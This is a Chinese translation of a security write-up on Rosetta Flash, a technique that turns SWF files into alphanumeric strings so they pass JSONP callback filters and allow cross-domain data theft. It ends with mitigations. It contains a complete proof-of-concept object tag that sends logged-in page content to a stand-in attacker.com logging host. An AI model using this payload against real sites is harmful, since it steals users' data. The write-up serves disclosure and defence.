from:http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
在上一篇上傳文件的陷阱(http://drops.wooyun.org/tips/2031)當中,作者提到對于flash的跨域數據 劫持,有時并不需要我們去上傳一個文件。因為我們可以簡單的利用JSONP接口,將flash的內容賦 [email protected]?樣,利用JSONP的部分確實可以看作是整個 文章的“高潮點”。因為在多數情況下:
1.一個不會驗證文件格式的上傳點并沒有那么好找
2.有時候我們找不到文件的真正路徑,有時候文件會被強制下載
3.即使我們找到了不受條件[1]和[2]約束的上傳點,也有可能會遭到“文件訪問權限”的困擾!
當然這些也只是我在試圖利用這種方法時遇到的一些困難,實際上也許還會有更復雜和更難以利?用的場景。相比之下如果是利用JSONP,事情就可能會變得相對簡單一些。但實際上利?JSONP callback APIs道路也并沒有那么平坦。因為很多開發者會對json的callbacks做一些限制。比如:
只允許[a-zA-Z]和 _ 和 .
先不論這種做法的好壞和正確性,首先我們必須得承認這種做法確實可以在某種程度上減少大部分的安全隱患。但是這樣就真的安全了么?很明顯,答案是否定的。為了證明這種防范措施依然是極 度脆弱的,作者開發了一個名為Rosetta Flash的工具。就像?文章的標題所描述的那樣,利用該工具 可以幫助我們創建純數字字母的swf文件。有了這種格式的swf在手,上述的callbacks限制也就自然 是浮云了。光憑說,好像完全沒有說服力。讓我們看看這種bypass問世后都有哪些大站躺槍:
* Google的?一些站點,如:accounts.google.com,主站和books,maps等分站
* Youtube
* Twitter
* Instagram
* Tumblr
* Lark
* eBay
寫(翻譯)到這里時才發現這個鋪墊確實有點長了。下面就讓我們來看看筆者的這把劍(Rosetta Flash)是怎么磨出來的吧。
這種純數字字母的swf的制作原理,主要就是將一般的swf二進制內容通過zlib壓縮后再進行輸出。 使用點對點的哈弗曼編碼將非法字符映射為合法字符。當然了,嚴格的來說這種做法并不能被稱作 是真正意義上壓縮。
通常,一個Flash文件既可以是沒有被壓縮過的(神奇的FWC字節),也可以是經過zlib(神奇的 CWS字節)或LZMA(神奇的ZWS字節)壓縮過的。
SWF的頭格式如下圖所示:
由于Flash解析器具有極高的自由度(如下圖)和忽略無效字節的特性,借助這種特性就可以讓我們得到我們想要的字符。
首先我們要搞定zlib頭中經過DEFLATE(同時使用了LZ77與哈夫曼編碼的一種無損數據壓縮算法)壓縮過的前兩個字節。我使用下面的方法搞定了其中的第一個字節:
再通過這種方式搞定了其第二個字節:
雖然不存在太多這樣的組合(兩個字節)可以同時通過CMF+CINFO+FLG,但是0x68 0x43=hc恰好是符合的。
所以在Rosetta Flash當中我也使?用了這兩個字節。
在搞定zlib頭中的前兩個字節后,還需要我們暴?破解其中的ADLER32校驗(checksum)。
因為就像對其它部分所要求的那樣,我們的checksum也必須是純數字字母組成的。
在這里我們就使用了一種比較聰明的做法來獲取由[a-zA-Z0-9_\.]
構成的checksum。
對于我們來說,不論是S1還是S2都必須是由數字字母來構成的。
但問題是,我們要怎么去處理這個未壓縮過的swf來獲取這樣的checksum呢?值得慶幸的是,SWF文件格式允許我們在其尾部加入任意字節。
而且這些字節是會被忽略的。這一特性幫助我搞定了S1和S2。我稱之為Sleds + Deltas 技術。
我們需要做的就是不停添加高位的seld直到出現一個單字節可以讓S1模數溢出。
隨后再添加delta. 通過這種手法,我們就可以獲取一個合法的S1.之后我們在通過添加一個空字節的sled直到S2的模數溢出,最終就可以得到一個合法的S2了。
在經過這一切的處理之后,我們得到了一個checksum和zlib頭均為合法的數字字母的原始swf?件。
現在讓我們使用哈夫曼的魔法將所有的一切轉換成我們需要的[a-zA-Z0-9_\.]
吧。
在這里我們使用了兩個哈夫曼encoder來提高我們程序的效率。
如果你想了解更多的細節,可以在 Github上查閱Rosetta Flash的源代碼:https://github.com/mikispag/rosettaflash/
最終,按字節輸出的效果會是這樣:
最終我們得到我們一直期盼的純數字字母的SWF:
相關POC(AS2代碼):
我們將其編譯為swf(未壓縮),再用Rosetta Flash對其進行轉換,最終得到:
<object type="application/x-shockwave-flash" data="https://vulnerable.com/endpoint? callback=CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD 33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHT HNo4D0Up0IZUnnnnn nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h" style="display: none"> <param name="FlashVars" value="url=https://vulnerable.com/account/sensitive_content_logged_in&exfiltrate=http://attacker.com/log.php"> </object>
*來?自Adobe的緩解措施
針對于這種情況,Adobe推出了修復版本14.0.0.125,并提到此次的修復會對flash進?行驗證來組織 JSONP callback APIs的利用問題。
*來?自??網站擁有者的緩解措施
可以通過設定
HTTP header Content-Disposition: attachment; filename=f.txt
來強制進?文件下載。
這種方式對于Flash 10.2以后的版本來說是完全足夠的。然?而對于content sniffing攻擊,我們可以在 callback內容的最前?面加上/**/來進行良好的防御(這也是?谷歌,facebook和Github一直在采取的措施)。當然我們也可以通過設定
X-Content-Type-Options: nosniff
來防御Opera和Chrome下的 content sniffing攻擊。在這些瀏覽器下,Flash播放器一旦發現Content-type不為application/x- shockwave-flash就會拒絕swf?文件的執行。